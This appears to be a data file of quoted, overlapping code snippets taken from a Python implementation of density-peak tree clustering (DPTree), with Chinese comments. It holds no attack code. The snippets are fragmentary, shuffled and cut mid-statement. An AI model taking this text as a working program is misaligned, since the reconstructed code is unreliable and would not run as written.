"calcu_neighbor_btw_subtree(self,node_id_one,node_id_two,mixin_near_matrix): ''' 计算两个子树间的邻近点 return: 邻近的点对 所有邻近点 ''' connected_nodes = np.array([],dtype=np.int32)",
"siblings_reliable] if node_id in not_reliable_nodes: not_reliable_nodes.remove(node_id) if node_id in siblings_reliable:",
"self.children def hasChildren(self,child_id): if child_id in self.children: return True else:",
"[ i for i in children if i not in",
"sorted_gamma_index[i] parent_id = closest_node_id[node_id] #* closest_node_id是根据排序后的gamma获得的 attr_list = X[node_id] dist_to_parent",
"return offspring_idlist offspring_idlist = fn_get_subtree_offspring_id(node_id,[]) return np.array(list(offspring_idlist) + other_idlist) def",
"self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = -1 for i in offspring_two: tmp_dist =",
"node_id = not_direct_reach.pop() if(node_id==129193 or node_id==61589 or node_id == 123593):",
"getParentId(self): return self.parent_id def getDistToParent(self): return self.dist_to_parent def getDensity(self): return",
"parent_node = node_dir[parent_id] cur_node = node_dir[node_id] if(node_id != parent_id):#* 非根节点",
"self.density = density self.children = children self.gamma = gamma self.offspring_num",
"= {} cluster_forest = {} uncertain_forest = {} not_direct_reach =",
"print(\"删除子节点:\",child_id) offspring_id = self.get_subtree_offspring_id(child_id,[child_id]) offspring_len = len(offspring_id) node_id = self.node_dir[child_id].parent_id",
"= node.getOffspringNum() if(cur_offsprings!=None): return cur_offsprings child_num = len(node.children) if(child_num==0): return",
"self.children.remove(child) def resetChildren(self): self.children = [] def setParentId(self,parent_id): self.parent_id =",
"reliable_nodes:兄弟节点中与父节点直接相连的点; not_reliable_nodes:兄弟节点中不与父节点直接相连的点,但可能间接相连; 连通度判断方案: 1. 判断 cur_node 与 reliable_nodes 是否可达,是则返回;没有则执行2; 2.",
"pass not_direct_reach = list(not_direct_reach[np.argsort(depth_list_not_direct_reach)]) #* 模拟栈结构,层次深的先处理 start = time.clock() while(len(not_direct_reach)>0):",
"continue # return pairs_nodes cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring])",
"= parent_id def setOffspringNum(self,num): self.offspring_num = num def setLvl(self,lvl): self.lvl",
"in range(len(not_reliable_nodes)): pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,not_reliable_nodes[i],mixin_near_matrix) if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix)",
"np.min(dist_mat[i][offspring_one]) if(tmp_dist<dist): dist = tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]<eps)[0] if",
"print(\"删除子孙节点:\",node_to_delete) pass pass # cur_id = child_id # parent_id =",
"node_id 节点的 children[], 以及所有父级offspring_num 3. 生成新树 ''' # print(\"删除子节点:\",child_id) offspring_id",
"density_connectivity 阈值 使用父子节点的直接距离,与子节点与兄弟节点的连通距离进行聚簇划分; 使用平均密度划分outlier 返回: outlier_forest cluster_forest ''' mean_density =",
"np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist, np.unique(connected_nodes) def calcu_neighbor_btw_subtree(self,node_id_one,node_id_two,mixin_near_matrix): ''' 计算两个子树间的邻近点 return:",
"in self.node_dir: if(node_id==self.root_node.node_id): continue node = self.node_dir[node_id] if(node.parent_id==parent_id): print(spaceStr, node.node_id,",
"= len(children) if(child_num==0): self.node_offspring[node_id] = offspring_idlist return offspring_idlist offspring_idlist= list(offspring_idlist)",
"return pairs_nodes cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes =",
"[] for reliable_node_id in reliable_nodes: pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,reliable_node_id,mixin_near_matrix) if(len(pairs_nodes)==0):",
"return child_num def get_subtree_offspring_id(self,node_id,other_idlist): ''' 获取所有子孙的node_id 考虑:是否需要存储在node属性中。 ''' def fn_get_subtree_offspring_id(node_id,offspring_idlist):",
"offspring_idlist = fn_get_subtree_offspring_id(node_id,[]) return np.array(list(offspring_idlist) + other_idlist) def calcu_subtree_entropy(self,offspring_id,local_density,closest_dis_denser): p_sum",
"np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return",
"offspring_len = len(offspring_id) node_id = self.node_dir[child_id].parent_id node = self.node_dir[node_id] node.removeChild(child_id)",
"''' 计算两个子树间的邻近点 return: 邻近的点对 所有邻近点 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one",
"return [] for reliable_node_id in reliable_nodes: pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,reliable_node_id,mixin_near_matrix)",
"not_direct_reach.append(k) pass not_direct_reach = np.array(not_direct_reach) # not_direct_reach = np.where(closest_dis_denser>eps)[0] #*",
"time def split_cluster_new(tree,local_density,dc_eps,closest_denser_nodes_id,mixin_near_matrix): ''' dc_eps: density_connectivity 阈值 使用父子节点的直接距离,与子节点与兄弟节点的连通距离进行聚簇划分; 使用平均密度划分outlier 返回:",
"len(offspring_id) node_id = self.node_dir[child_id].parent_id node = self.node_dir[node_id] node.removeChild(child_id) self.node_count =",
"''' mean_density = np.mean(local_density) outlier_forest = {} cluster_forest = {}",
"= not_direct_reach.pop() if(node_id==129193 or node_id==61589 or node_id == 123593): print(node_id)",
"tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes",
"np.unique(all_near_nodes) all_near_nodes = all_near_nodes[np.where(labels[all_near_nodes]!=-1)] unique_labels,counts=np.unique(labels[all_near_nodes],return_counts=True) if(len(counts)==0): cur_label = -1 else:",
"= gamma self.offspring_num = None self.lvl = None def addChild(self,child):",
"pass # cur_id = child_id # parent_id = node_id #",
"outlier_forest, cluster_forest, uncertain_forest def is_connected_new(tree,local_density,dc_eps,cur_node_id,reliable_nodes,not_reliable_nodes,mixin_near_matrix): ''' cur_node: 当前待判断与父节点连通度的点; reliable_nodes:兄弟节点中与父节点直接相连的点; not_reliable_nodes:兄弟节点中不与父节点直接相连的点,但可能间接相连;",
"= density self.children = children self.gamma = gamma self.offspring_num =",
"pass def createTree(self,X,sorted_gamma_index,closest_node_id,closest_dis_denser,local_density,gamma): #* 根据 gamma 顺序新建节点 node_dir = {}",
"''' connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two])",
"= children self.gamma = gamma self.offspring_num = None self.lvl =",
"= np.where(dist_mat[i][offspring_one]<eps)[0] if len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist,",
"numpy as np import copy import matplotlib.pyplot as plt import",
"self.dist_to_parent def getDensity(self): return self.density def getGamma(self): return self.gamma def",
"label = label + 1 pass #todo 修改此处代码 for uncertain_tree_id",
"计算两个子树间的邻近点 return: 邻近的点对 所有邻近点 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one =",
"tree.remove_subtree(node_id) pass else: cluster_forest[node_id] = tree.remove_subtree(node_id) pass pass else: outlier_forest[node_id]",
"near_nodes: not_direct_reach.append(k) pass not_direct_reach = np.array(not_direct_reach) # not_direct_reach = np.where(closest_dis_denser>eps)[0]",
"node_dir[parent_id] cur_node = node_dir[node_id] if(node_id != parent_id):#* 非根节点 parent_node.addChild(node_id) #",
"= offspring_idlist return offspring_idlist offspring_idlist= list(offspring_idlist) + children for i",
"+ children for i in children: child_offspring_idlist = fn_get_subtree_offspring_id(i,[]) self.node_offspring[i]",
"def createTree(self,X,sorted_gamma_index,closest_node_id,closest_dis_denser,local_density,gamma): #* 根据 gamma 顺序新建节点 node_dir = {} node_created",
"dist_to_parent = closest_dis_denser[node_id] density = local_density[node_id] if(node_created[node_id]==0): node = Node(node_id,attr_list,parent_id,dist_to_parent=dist_to_parent,density=density,gamma[node_id],children=[])",
"parent_node.addChild(node_id) # parent_lvl = parent_node.getLvl() # cur_node.setLvl(parent_lvl+1) else: if(parent_node.getLvl()==None): parent_node.setLvl(0)",
"return self.attr_list def getNodeId(self): return self.node_id def getParentId(self): return self.parent_id",
"pass connected_nodes_index = np.where(dist_mat[i][offspring_one]<eps)[0] if len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass",
"邻近的点对 所有邻近点 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two",
"in not_reliable_nodes: not_reliable_nodes.remove(node_id) if node_id in siblings_reliable: siblings_reliable.remove(node_id) pairs_nodes =",
"outlier_forest[node_id] = tree.remove_subtree(node_id) pass pass pass end = time.clock() print('切割树耗时",
"else: cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes])",
"cur_node 与 reliable_nodes 是否可达,是则返回;没有则执行2; 2. 判断 cur_node 与 not_reliable_nodes(假设为[a,b,c,d,e]) 是否可达,若与[a,b,c]可达,与[d,e]不可达,执行3;",
"考虑不确定点的分配 ''' labels = np.full((node_num),-1,dtype=np.int32) for outlier_id in outlier_forest: outlier_tree",
"not_reliable_nodes:兄弟节点中不与父节点直接相连的点,但可能间接相连; 连通度判断方案: 1. 判断 cur_node 与 reliable_nodes 是否可达,是则返回;没有则执行2; 2. 判断",
"= -1 else: cur_label = unique_labels[np.argmax(counts)] labels[uncertain_nodes_id]=cur_label pass core_points =",
"self.node_offspring[node_id] else: node = self.node_dir[node_id] children = node.getChildren() child_num =",
"offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = float('inf') for",
"for i in offspring_two: connected_nodes_index = np.intersect1d(mixin_near_matrix[i],offspring_one) if len(connected_nodes_index)>0: for",
"= tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return",
"child_num = len(node.children) if(child_num==0): return 0 for i in node.children:",
"near_nodes = mixin_near_matrix[k] if closest_denser_nodes_id[k] not in near_nodes: not_direct_reach.append(k) pass",
"= sorted_gamma_index[i] parent_id = closest_node_id[node_id] #* closest_node_id是根据排序后的gamma获得的 attr_list = X[node_id]",
"cur_node = node_dir[node_id] if(node_id != parent_id):#* 非根节点 parent_node.addChild(node_id) # parent_lvl",
"= len(offspring_id) node_id = self.node_dir[child_id].parent_id node = self.node_dir[node_id] node.removeChild(child_id) self.node_count",
"#* 连通点平均密度大于局部密度阈值,则更新最大相似度 cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes =",
"给森林中的样本点贴标签 考虑不确定点的分配 ''' labels = np.full((node_num),-1,dtype=np.int32) for outlier_id in outlier_forest:",
"range(len(closest_denser_nodes_id)): near_nodes = mixin_near_matrix[k] if closest_denser_nodes_id[k] not in near_nodes: not_direct_reach.append(k)",
"offspring_idlist offspring_idlist= list(offspring_idlist) + children for i in children: child_offspring_idlist",
"reliable_node_id in reliable_nodes: pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,reliable_node_id,mixin_near_matrix) if(len(pairs_nodes)==0): continue #",
"not in siblings_reliable] if node_id in not_reliable_nodes: not_reliable_nodes.remove(node_id) if node_id",
"resetChildren(self): self.children = [] def setParentId(self,parent_id): self.parent_id = parent_id def",
"def getChildren(self): return self.children def hasChildren(self,child_id): if child_id in self.children:",
"attr_list self.parent_id = parent_id self.dist_to_parent = dist_to_parent self.density = density",
"self.children = [] def setParentId(self,parent_id): self.parent_id = parent_id def setOffspringNum(self,num):",
"获取子节点个数: offspring_id = tree.get_subtree_offspring_id(node_id,[node_id]) if(len(offspring_id)<local_density[node_id]): uncertain_forest[node_id] = tree.remove_subtree(node_id) pass else:",
"pairs_nodes # return pairs_nodes # #* 连通点平均密度大于局部密度阈值,则更新最大相似度 cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id])",
"in uncertain_forest: uncertain_tree = uncertain_forest[uncertain_tree_id] uncertain_nodes_id = uncertain_tree.get_subtree_offspring_id(uncertain_tree_id,[uncertain_tree_id]) all_near_nodes =",
"tree.calcu_neighbor_btw_subtree(cur_node_id,not_reliable_nodes[i],mixin_near_matrix) if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes else: cur_node_offspring",
"not_direct_reach = np.array(not_direct_reach) depth_list_not_direct_reach= np.zeros(len(not_direct_reach),dtype=np.int16) for i in range(len(not_direct_reach)): #",
"1. 判断 cur_node 与 reliable_nodes 是否可达,是则返回;没有则执行2; 2. 判断 cur_node 与",
"node_id in uncertain_nodes_id: all_near_nodes = np.append(all_near_nodes,mixin_near_matrix[node_id]) pass # all_near_nodes =",
"connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,reliable_node_id,mixin_near_matrix) if(len(pairs_nodes)==0): continue # return pairs_nodes cur_node_offspring =",
"i in node.children: cur_offsprings = self.calcu_subtree_offspring_num(i) child_num+=cur_offsprings node.setOffspringNum(child_num) return child_num",
"reliable_nodes 是否可达,是则返回;没有则执行2; 2. 判断 cur_node 与 not_reliable_nodes(假设为[a,b,c,d,e]) 是否可达,若与[a,b,c]可达,与[d,e]不可达,执行3; 3. 循环遍历[a,b,c],递归调用本方法",
"= node node_dir[node_id].setParentId(parent_id) if(node_created[parent_id]==0): parent_node = Node(parent_id,X[parent_id],parent_id=None,dist_to_parent=closest_dis_denser[parent_id],density=local_density[parent_id],gamma=gamma[parent_id],children=[]) node_created[parent_id] = 1",
"def getDensity(self): return self.density def getGamma(self): return self.gamma def getChildren(self):",
"0 if(entropy==0): return 0 return entropy/(-1*np.log2(1/(len(offspring_id)))) def remove_subtree(self,child_id): ''' 删除",
"not in not_direct_reach] #* 求得兄弟节点,其中兄弟节点不能是不直接可达的点 not_reliable_nodes = [i for i",
"cluster_forest ''' mean_density = np.mean(local_density) outlier_forest = {} cluster_forest =",
"else: return False def getOffspringNum(self): return self.offspring_num def getLvl(self): return",
"node = self.node_dir[node_id] node.removeChild(child_id) self.node_count = self.node_count-offspring_len #* 删除存储的子孙节点 if(node_id",
"pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,not_reliable_nodes[i],mixin_near_matrix) if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return",
"DPTree(): def __init__(self): self.node_count = 0 self.node_dir = {} self.root_node",
"= offspring_len new_tree.root_node = new_tree.node_dir[child_id] new_tree.root_node.setParentId(child_id) return new_tree def calcu_dist_betw_subtree(self,node_id_one,node_id_two,dist_mat,eps):",
"pairs_nodes = [] for i in offspring_two: connected_nodes_index = np.intersect1d(mixin_near_matrix[i],offspring_one)",
"= 1 node_dir[parent_id] = parent_node parent_node = node_dir[parent_id] cur_node =",
"cluster_forest[node_id] = tree.remove_subtree(node_id) continue node = tree.node_dir[node_id] parent_id = node.parent_id",
"return pairs_nodes # pass return [] def label_these_node_new(outlier_forest,cluster_forest,node_num,uncertain_forest,mixin_near_matrix): ''' 给森林中的样本点贴标签",
"tree.node_dir[node_id] parent_id = node.parent_id parent_node = tree.node_dir[parent_id] children = parent_node.getChildren()",
"= dist_to_parent self.density = density self.children = children self.gamma =",
"return cur_offsprings child_num = len(node.children) if(child_num==0): return 0 for i",
"与 not_reliable_nodes(假设为[a,b,c,d,e]) 是否可达,若与[a,b,c]可达,与[d,e]不可达,执行3; 3. 循环遍历[a,b,c],递归调用本方法 is_connected_entropy(……,cur_node_id=[a],reliable_nodes,not_reliable_nodes=[b,c,d,e]) ''' #* 1. if(len(reliable_nodes)==0):",
"def getParentId(self): return self.parent_id def getDistToParent(self): return self.dist_to_parent def getDensity(self):",
"return self.node_offspring[node_id] else: node = self.node_dir[node_id] children = node.getChildren() child_num",
"return labels,core_points ''' 密度峰值树; 根据cfsfdp算法生成的局部密度、高密度最近邻距离、决策指标来生成 DPTree; ''' class Node(): def",
"if(node.parent_id==parent_id): print(spaceStr, node.node_id, sep = '') self.printTree2(node.node_id,spaceStr+' ') pass def",
"2. 小于距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two",
"+ child_offspring_idlist pass self.node_offspring[node_id] = offspring_idlist return offspring_idlist offspring_idlist =",
"self.node_dir, 生成新树: new_tree = DPTree() for i in offspring_id: removed_node",
"start)) cluster_forest[tree.root_node.node_id] = tree #* 添加根节点的树 return outlier_forest, cluster_forest, uncertain_forest",
"小于距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two =",
"= node.parent_id parent_node = tree.node_dir[parent_id] children = parent_node.getChildren() siblings_reliable =",
"j in connected_nodes_index: pairs_nodes.append([i,j]) pass pass if(len(pairs_nodes)==0): return pairs_nodes,connected_nodes return",
"self.offspring_num = None self.lvl = None def addChild(self,child): self.children+=[child] def",
"cluster_forest.keys() return labels,core_points ''' 密度峰值树; 根据cfsfdp算法生成的局部密度、高密度最近邻距离、决策指标来生成 DPTree; ''' class Node():",
"dc_eps: density_connectivity 阈值 使用父子节点的直接距离,与子节点与兄弟节点的连通距离进行聚簇划分; 使用平均密度划分outlier 返回: outlier_forest cluster_forest ''' mean_density",
"class Node(): def __init__(self,node_id,attr_list,parent_id=None,dist_to_parent=None,density=None,gamma=None,children=[]): self.node_id = node_id self.attr_list = attr_list",
"node_id in self.node_dir: if(node_id==self.root_node.node_id): continue node = self.node_dir[node_id] if(node.parent_id==parent_id): print(spaceStr,",
"[i for i in children if i not in siblings_reliable]",
"self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = float('inf') for i in offspring_two: tmp_dist =",
"if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes # pass return",
"np.array(list(offspring_idlist) + other_idlist) def calcu_subtree_entropy(self,offspring_id,local_density,closest_dis_denser): p_sum = np.sum(local_density[offspring_id]/closest_dis_denser[offspring_id]) p =",
"# return pairs_nodes cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes",
"return pairs_nodes,connected_nodes return np.array(pairs_nodes), np.unique(np.array(pairs_nodes).flatten()) def calcu_dist_betw_subtree_entropy(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return:",
"outlier_forest cluster_forest ''' mean_density = np.mean(local_density) outlier_forest = {} cluster_forest",
"self.sorted_gamma_index = sorted_gamma_index for i in range(len(sorted_gamma_index)): node_id = sorted_gamma_index[i]",
"= outlier_forest[outlier_id] outlier_idlist = outlier_tree.get_subtree_offspring_id(outlier_id,[outlier_id]) labels[outlier_idlist] = -1 pass label",
"self.offspring_num def getLvl(self): return self.lvl class DPTree(): def __init__(self): self.node_count",
"self.dist_to_parent = dist_to_parent self.density = density self.children = children self.gamma",
"labels[cluster_idlist] = label label = label + 1 pass #todo",
"= label label = label + 1 pass #todo 修改此处代码",
"= 0 self.node_dir = {} self.root_node = None self.node_offspring =",
"child_offspring_idlist offspring_idlist= list(offspring_idlist) + child_offspring_idlist pass self.node_offspring[node_id] = offspring_idlist return",
"self.node_count 2. 更新 node_id 节点的 children[], 以及所有父级offspring_num 3. 生成新树 '''",
"for node_to_delete in offspring_id: self.node_offspring[node_id].remove(node_to_delete) print(\"删除子孙节点:\",node_to_delete) pass pass # cur_id",
"i in children if i not in siblings_reliable] if node_id",
"i in offspring_two: tmp_dist = np.max(dist_mat[i][offspring_one]) if(tmp_dist>=dist): dist = tmp_dist",
"使用平均密度划分outlier 返回: outlier_forest cluster_forest ''' mean_density = np.mean(local_density) outlier_forest =",
"# for i in tree.node_dir: # pass self.root_node = node_dir[sorted_gamma_index[0]]",
"= tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]>=eps)[0] if len(connected_nodes_index)>0: connected_nodes =",
"offspring_idlist offspring_idlist = fn_get_subtree_offspring_id(node_id,[]) return np.array(list(offspring_idlist) + other_idlist) def calcu_subtree_entropy(self,offspring_id,local_density,closest_dis_denser):",
"= removed_node pass new_tree.node_count = offspring_len new_tree.root_node = new_tree.node_dir[child_id] new_tree.root_node.setParentId(child_id)",
"in range(len(sorted_gamma_index)): node_id = sorted_gamma_index[i] parent_id = closest_node_id[node_id] #* closest_node_id是根据排序后的gamma获得的",
"node = self.node_dir[node_id] children = node.getChildren() child_num = len(children) if(child_num==0):",
"return pairs_nodes pass #* 2. for i in range(len(not_reliable_nodes)): pairs_nodes,",
"num def setLvl(self,lvl): self.lvl = lvl def getAttr(self): return self.attr_list",
"= tree.remove_subtree(node_id) pass pass else: outlier_forest[node_id] = tree.remove_subtree(node_id) pass pass",
"if(cur_offsprings!=None): return cur_offsprings child_num = len(node.children) if(child_num==0): return 0 for",
"end = time.clock() print('切割树耗时 %s' % str(end - start)) cluster_forest[tree.root_node.node_id]",
"np.intersect1d(mixin_near_matrix[i],offspring_one) if len(connected_nodes_index)>0: for j in connected_nodes_index: pairs_nodes.append([i,j]) pass pass",
"== 123593): print(node_id) if node_id in tree.sorted_gamma_index[0:10]: cluster_forest[node_id] = tree.remove_subtree(node_id)",
"np.zeros(len(not_direct_reach),dtype=np.int16) for i in range(len(not_direct_reach)): # depth_list_not_direct_reach[i] = tree.node_dir[not_direct_reach[i]].getLvl() depth_list_not_direct_reach[i]",
"= np.append(all_near_nodes,mixin_near_matrix[node_id]) pass # all_near_nodes = mixin_near_matrix[uncertain_nodes_id] all_near_nodes = np.unique(all_near_nodes)",
"node_created = np.zeros(len(sorted_gamma_index)) self.sorted_gamma_index = sorted_gamma_index for i in range(len(sorted_gamma_index)):",
"# parent_id = parent_node.parent_id # pass #* 更新 self.node_dir, 生成新树:",
"offspring_two: connected_nodes_index = np.intersect1d(mixin_near_matrix[i],offspring_one) if len(connected_nodes_index)>0: for j in connected_nodes_index:",
"fn_get_subtree_offspring_id(node_id,offspring_idlist): if(node_id in self.node_offspring.keys()): return self.node_offspring[node_id] else: node = self.node_dir[node_id]",
"= child_id # parent_id = node_id # #* 设置父级 offspring_num:",
"以及所有父级offspring_num 3. 生成新树 ''' # print(\"删除子节点:\",child_id) offspring_id = self.get_subtree_offspring_id(child_id,[child_id]) offspring_len",
"= parent_id # parent_id = parent_node.parent_id # pass #* 更新",
"labels[uncertain_nodes_id]=cur_label pass core_points = cluster_forest.keys() return labels,core_points ''' 密度峰值树; 根据cfsfdp算法生成的局部密度、高密度最近邻距离、决策指标来生成",
"def setLvl(self,lvl): self.lvl = lvl def getAttr(self): return self.attr_list def",
"= np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes pass #* 2. for i",
"dist = tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]<eps)[0] if len(connected_nodes_index)>0: connected_nodes",
"if(entropy==0): return 0 return entropy/(-1*np.log2(1/(len(offspring_id)))) def remove_subtree(self,child_id): ''' 删除 node_id",
"local_density[node_id] if(node_created[node_id]==0): node = Node(node_id,attr_list,parent_id,dist_to_parent=dist_to_parent,density=density,gamma[node_id],children=[]) node_created[node_id] = 1 node_dir[node_id] =",
"not_direct_reach = np.where(closest_dis_denser>eps)[0] #* 将不直接距离可达的点按层次排列: # not_direct_reach = np.array(not_direct_reach) depth_list_not_direct_reach=",
"= parent_id self.dist_to_parent = dist_to_parent self.density = density self.children =",
"child_id # parent_id = node_id # #* 设置父级 offspring_num: #",
"reliable_nodes: pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,reliable_node_id,mixin_near_matrix) if(len(pairs_nodes)==0): continue # return pairs_nodes",
"pass new_tree.node_count = offspring_len new_tree.root_node = new_tree.node_dir[child_id] new_tree.root_node.setParentId(child_id) return new_tree",
"depth_list_not_direct_reach[i] = tree.node_dir[not_direct_reach[i]].getLvl() depth_list_not_direct_reach[i] = tree.calcu_depth(not_direct_reach[i],0) pass not_direct_reach = list(not_direct_reach[np.argsort(depth_list_not_direct_reach)])",
"# while(cur_id!=parent_id): # parent_node = self.node_dir[parent_id] # if(parent_node.getOffspringNum()!=None): # parent_node.setOffspringNum(parent_node.getOffspringNum()-offspring_len)",
"= time.clock() while(len(not_direct_reach)>0): #* 判断是否 连通:距离小于阈值,并且密度要大于子树的平均密度 node_id = not_direct_reach.pop() if(node_id==129193",
"密度峰值树; 根据cfsfdp算法生成的局部密度、高密度最近邻距离、决策指标来生成 DPTree; ''' class Node(): def __init__(self,node_id,attr_list,parent_id=None,dist_to_parent=None,density=None,gamma=None,children=[]): self.node_id =",
"pass #* 2. for i in range(len(not_reliable_nodes)): pairs_nodes, connected_nodes =",
"# parent_node = self.node_dir[parent_id] # if(parent_node.getOffspringNum()!=None): # parent_node.setOffspringNum(parent_node.getOffspringNum()-offspring_len) # cur_id",
"# parent_node.setOffspringNum(parent_node.getOffspringNum()-offspring_len) # cur_id = parent_id # parent_id = parent_node.parent_id",
"else: cluster_forest[node_id] = tree.remove_subtree(node_id) pass pass else: outlier_forest[node_id] = tree.remove_subtree(node_id)",
"len(pairs_nodes)==0: if(node_id==tree.root_node.node_id): continue if(local_density[node_id]-mean_density*dc_eps)>=0: #* 获取子节点个数: offspring_id = tree.get_subtree_offspring_id(node_id,[node_id]) if(len(offspring_id)<local_density[node_id]):",
"for i in range(len(not_direct_reach)): # depth_list_not_direct_reach[i] = tree.node_dir[not_direct_reach[i]].getLvl() depth_list_not_direct_reach[i] =",
"= None self.lvl = None def addChild(self,child): self.children+=[child] def removeChild(self,child):",
"pairs_nodes else: cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes =",
"Node(node_id,attr_list,parent_id,dist_to_parent=dist_to_parent,density=density,gamma[node_id],children=[]) node_created[node_id] = 1 node_dir[node_id] = node node_dir[node_id].setParentId(parent_id) if(node_created[parent_id]==0): parent_node",
"new_tree.root_node.setParentId(child_id) return new_tree def calcu_dist_betw_subtree(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1. 最短距离",
"connected_nodes_index = np.intersect1d(mixin_near_matrix[i],offspring_one) if len(connected_nodes_index)>0: for j in connected_nodes_index: pairs_nodes.append([i,j])",
"self.node_dir.pop(i) new_tree.node_dir[i] = removed_node pass new_tree.node_count = offspring_len new_tree.root_node =",
"+ 1 pass #todo 修改此处代码 for uncertain_tree_id in uncertain_forest: uncertain_tree",
"2. 更新 node_id 节点的 children[], 以及所有父级offspring_num 3. 生成新树 ''' #",
"for k in range(len(closest_denser_nodes_id)): near_nodes = mixin_near_matrix[k] if closest_denser_nodes_id[k] not",
"= self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = -1 for i in offspring_two: tmp_dist",
"i in offspring_two: tmp_dist = np.min(dist_mat[i][offspring_one]) if(tmp_dist<dist): dist = tmp_dist",
"def split_cluster_new(tree,local_density,dc_eps,closest_denser_nodes_id,mixin_near_matrix): ''' dc_eps: density_connectivity 阈值 使用父子节点的直接距离,与子节点与兄弟节点的连通距离进行聚簇划分; 使用平均密度划分outlier 返回: outlier_forest",
"= lvl def getAttr(self): return self.attr_list def getNodeId(self): return self.node_id",
"np.unique(connected_nodes) def calcu_depth(self,node_id, depth): node = self.node_dir[node_id] parent_id = node.parent_id",
"pass #* 更新 self.node_dir, 生成新树: new_tree = DPTree() for i",
"node_dir = {} node_created = np.zeros(len(sorted_gamma_index)) self.sorted_gamma_index = sorted_gamma_index for",
"#* 删除存储的子孙节点 if(node_id in self.node_offspring.keys()): for node_to_delete in offspring_id: self.node_offspring[node_id].remove(node_to_delete)",
"= list(not_direct_reach[np.argsort(depth_list_not_direct_reach)]) #* 模拟栈结构,层次深的先处理 start = time.clock() while(len(not_direct_reach)>0): #* 判断是否",
"= tree.node_dir[parent_id] children = parent_node.getChildren() siblings_reliable = [ i for",
"''' class Node(): def __init__(self,node_id,attr_list,parent_id=None,dist_to_parent=None,density=None,gamma=None,children=[]): self.node_id = node_id self.attr_list =",
"1. 最短距离 2. 小于距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one =",
"def removeChild(self,child): self.children.remove(child) def resetChildren(self): self.children = [] def setParentId(self,parent_id):",
"设置节点层次信息 # for i in tree.node_dir: # pass self.root_node =",
